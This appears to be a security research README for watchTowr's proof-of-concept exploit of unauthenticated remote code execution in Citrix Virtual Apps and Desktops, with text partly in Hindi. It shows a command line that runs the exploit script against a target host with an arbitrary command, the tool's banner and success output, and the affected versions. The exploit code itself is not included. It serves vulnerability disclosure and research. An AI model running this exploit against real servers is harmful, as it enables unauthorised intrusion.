watchtowrlabs/citrix-virtual-apps-xen-exploitसिट्रिक्स वर्चुअल ऐप्स और डेस्कटॉप्स (XEN) अनप्रमाणित RCE
Citrix Virtual Apps and Desktops (XEN) अनधिकृत रिमोट कोड निष्पादन
तकनीकी विवरण के लिए हमारा ब्लॉग पोस्ट देखें
https://github.com/user-attachments/assets/563fd110-5321-49f7-8dc3-48eb0a53e0f9
python exploit-citrix-xen.py --target 192.168.1.120 --port 80 --cmd "whoami"
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
CVE-xxxx-xxxxx.py
(*) Citrix Virtual Apps and Desktops Unauthenticated Remote Code Execution (CVE-xxxx-xxxxx) exploit by watchTowr
- Sina Kheirkhah (@SinSinology), watchTowr ([email protected])
CVEs: [CVE-xxxx-xxxxx]
[INFO] Command sent to 192.168.1.120 successfully!
Citrix Virtual Apps and Desktops 7 2402 LTSR और उससे पहले के सभी संस्करण असुरक्षित हैं, अधिक विवरण सिट्रिक्स एडवाइज़री पर देखें
यह एक्सप्लॉइट watchTowr (@watchtowrcyber) के Sina Kheirkhah (@SinSinology) द्वारा लिखा गया था
नवीनतम सुरक्षा अनुसंधान के लिए watchTowr Labs टीम को फॉलो करें